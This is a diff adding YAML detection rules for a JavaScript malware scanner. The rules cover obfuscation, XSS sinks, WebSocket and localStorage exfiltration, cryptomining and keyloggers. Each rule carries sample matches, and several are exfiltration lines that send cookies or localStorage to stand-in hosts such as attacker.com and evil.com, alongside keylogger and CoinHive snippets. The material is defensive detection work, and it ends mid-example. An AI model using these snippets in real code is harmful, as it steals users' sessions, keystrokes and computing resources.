| + Detects common JavaScript obfuscation patterns including excessive use of + escape sequences, hex encoding, unicode escapes, and string concatenation + with array indexing. These techniques are frequently used to hide malicious + code from static analysis tools. +languages: + - javascript +detection_type: regex +detection_logic: '(?:\\x[0-9a-fA-F]{2}.*){5,}|(?:\\u[0-9a-fA-F]{4}.*){5,}|(?:\[\d+\]\s*\+\s*){3,}' +severity: Medium +mitre_technique: T1027 +confidence: 0.75 +category: obfuscation +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-01-15" + references: + - "https://attack.mitre.org/techniques/T1027/" + tags: + - javascript + - obfuscation + - encoding + examples: + - "var x = '\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29'" + - "eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029')" + - "var s = arr[0] + arr[1] + arr[2] + arr[3] + arr[4]" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-004-function-constructor.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-004-function-constructor.yaml new file mode 100644 index 0000000000000..86676ae7dc54e --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-004-function-constructor.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: Function Constructor Usage +# Detects use of Function constructor for code execution + +id: JS-004 +name: Function Constructor Code Execution +description: | + Detects use of the Function constructor to create and execute dynamic code. + Similar to eval(), the Function constructor can execute arbitrary JavaScript + from strings, making it a vector for code injection attacks. Attackers use + this to bypass static analysis and execute malicious code. +languages: + - javascript +detection_type: regex +detection_logic: '\bnew\s+Function\s*\(|Function\s*\(\s*["\x27]' +severity: High +mitre_technique: T1059.007 +confidence: 0.85 +category: command_injection +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1059/007/" + - "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" + tags: + - javascript + - code-execution + - function-constructor + - injection + examples: + - "var fn = new Function('return ' + userInput); fn();" + - "const execute = Function('a', 'b', 'return a + b');" + - "(new Function(maliciousCode))()" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-005-document-write.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-005-document-write.yaml new file mode 100644 index 0000000000000..61b1edf3587aa --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-005-document-write.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: document.write() XSS Vector +# Detects use of document.write() with user input + +id: JS-005 +name: document.write() XSS Vector +description: | + Detects use of document.write() which can be exploited for Cross-Site Scripting + (XSS) attacks when used with untrusted input. This method directly writes HTML + to the document and can execute scripts if user-controlled data is included. + Modern security best practices discourage its use. +languages: + - javascript +detection_type: regex +detection_logic: '\bdocument\.write(?:ln)?\s*\(' +severity: Medium +mitre_technique: T1059.007 +confidence: 0.7 +category: injection +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1059/007/" + - "https://developer.mozilla.org/en-US/docs/Web/API/Document/write" + tags: + - javascript + - xss + - document-write + - injection + examples: + - "document.write('');" + - "document.writeln(untrustedData);" + - "document.write('');" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-006-innerhtml-assignment.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-006-innerhtml-assignment.yaml new file mode 100644 index 0000000000000..3a9cc1697080f --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-006-innerhtml-assignment.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: innerHTML Assignment XSS +# Detects innerHTML assignments that may lead to XSS + +id: JS-006 +name: innerHTML Assignment XSS Risk +description: | + Detects direct assignment to innerHTML property which can lead to Cross-Site + Scripting vulnerabilities when used with untrusted data. Unlike textContent, + innerHTML parses and executes HTML/JavaScript, making it dangerous with + user-controlled input. Attackers exploit this to inject malicious scripts. +languages: + - javascript +detection_type: regex +detection_logic: '\.innerHTML\s*=|\.outerHTML\s*=' +severity: Low +mitre_technique: T1059.007 +confidence: 0.5 +category: injection +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1059/007/" + - "https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML" + tags: + - javascript + - xss + - innerhtml + - dom-manipulation + examples: + - "element.innerHTML = userInput;" + - "div.innerHTML = '';" + - "document.getElementById('content').outerHTML = maliciousHTML;" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-007-websocket-exfiltration.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-007-websocket-exfiltration.yaml new file mode 100644 index 0000000000000..7eb9669c38edf --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-007-websocket-exfiltration.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: WebSocket Data Exfiltration +# Detects WebSocket usage for potential data exfiltration + +id: JS-007 +name: WebSocket Data Exfiltration +description: | + Detects WebSocket connections that may be used for data exfiltration or + command and control communication. While WebSockets are legitimate, attackers + abuse them to bypass traditional HTTP monitoring and exfiltrate data in + real-time. This pattern identifies WebSocket instantiation and send operations. +languages: + - javascript +detection_type: regex +detection_logic: '\bnew\s+WebSocket\s*\(|\.send\s*\(.*(?:document\.|localStorage|sessionStorage|cookie)' +severity: Medium +mitre_technique: T1041 +confidence: 0.7 +category: exfiltration +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1041/" + - "https://developer.mozilla.org/en-US/docs/Web/API/WebSocket" + tags: + - javascript + - websocket + - exfiltration + - c2 + examples: + - "var ws = new WebSocket('wss://attacker.com'); ws.send(document.cookie);" + - "socket.send(JSON.stringify(localStorage));" + - "const ws = new WebSocket('ws://evil.com:8080'); ws.send(sensitiveData);" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-008-crypto-mining.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-008-crypto-mining.yaml new file mode 100644 index 0000000000000..f01cb62a858d8 --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-008-crypto-mining.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: Cryptocurrency Mining +# Detects cryptocurrency mining scripts + +id: JS-008 +name: Cryptocurrency Mining Detection +description: | + Detects JavaScript cryptocurrency mining code (cryptojacking). Attackers inject + mining scripts into compromised websites to use visitors' CPU resources for + mining cryptocurrency. This pattern identifies common mining libraries like + CoinHive, Coinhive alternatives, and WebAssembly-based miners. +languages: + - javascript +detection_type: regex +detection_logic: '(?i)(?:coinhive|cryptonight|monero|CoinHive\.Anonymous|new\s+Miner\(|\.start\(\).*miner|authedmine|crypto-loot|webminerpool|(?:new\s+)?Worker.*(?:WebSocket|wss:)|pool.*wss:|mining.*(?:WebSocket|Worker))' +severity: High +mitre_technique: T1496 +confidence: 0.85 +category: impact +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1496/" + - "https://www.malwarebytes.com/cryptojacking" + tags: + - javascript + - cryptomining + - cryptojacking + - resource-hijacking + examples: + - "var miner = new CoinHive.Anonymous('site-key'); miner.start();" + - "new Miner('monero-wallet-address', {throttle: 0.2}).start();" + - "CoinHive.CONFIG.WEBSOCKET_SHARDS = [['wss://ws001.coinhive.com/proxy']];" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-009-keylogger.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-009-keylogger.yaml new file mode 100644 index 0000000000000..39387bf316818 --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-009-keylogger.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: Keylogger Detection +# Detects keylogging functionality + +id: JS-009 +name: Keylogger Detection +description: | + Detects JavaScript keylogger implementations that capture user keystrokes. + Attackers use keyloggers to steal passwords, credit card numbers, and other + sensitive information entered by users. This pattern identifies event listeners + for keyboard events combined with data collection or transmission. +languages: + - javascript +detection_type: regex +detection_logic: '(?:addEventListener\s*\(\s*["\x27]key(?:down|up|press)|onkey(?:down|up|press)\s*=).*(?:\.key|\.keyCode|\.which)' +severity: High +mitre_technique: T1056.001 +confidence: 0.8 +category: collection +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1056/001/" + - "https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent" + tags: + - javascript + - keylogger + - credential-theft + - input-capture + examples: + - "document.addEventListener('keydown', function(e) { sendToServer(e.key); });" + - "window.onkeypress = function(e) { log += e.key; };" + - "document.onkeydown = (e) => { fetch('/log?key=' + e.keyCode); };" \ No newline at end of file diff --git a/docker/script-sentinel/sentinel/patterns/javascript/js-010-localstorage-theft.yaml b/docker/script-sentinel/sentinel/patterns/javascript/js-010-localstorage-theft.yaml new file mode 100644 index 0000000000000..daaed698eb16c --- /dev/null +++ b/docker/script-sentinel/sentinel/patterns/javascript/js-010-localstorage-theft.yaml @@ -0,0 +1,35 @@ +# JavaScript Pattern: localStorage/sessionStorage Theft +# Detects theft of browser storage data + +id: JS-010 +name: Browser Storage Data Theft +description: | + Detects attempts to access and exfiltrate data from localStorage or sessionStorage. + Attackers target browser storage to steal authentication tokens, session data, + and other sensitive information. This pattern identifies bulk storage access + combined with network transmission or suspicious iteration patterns. +languages: + - javascript +detection_type: regex +detection_logic: '(?:localStorage|sessionStorage)(?:\.getItem|\.key\(|\[).*(?:fetch|XMLHttpRequest|\.send\(|navigator\.sendBeacon)' +severity: Medium +mitre_technique: T1539 +confidence: 0.75 +category: credential_access +enabled: true +metadata: + author: Script Sentinel Team + created: "2025-11-17" + updated: "2025-11-17" + references: + - "https://attack.mitre.org/techniques/T1539/" + - "https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage" + tags: + - javascript + - localstorage + - data-theft + - session-hijacking + examples: + - "fetch('http://attacker.com/collect', {method: 'POST', body: JSON.stringify(localStorage)});" + - "for(let i=0; i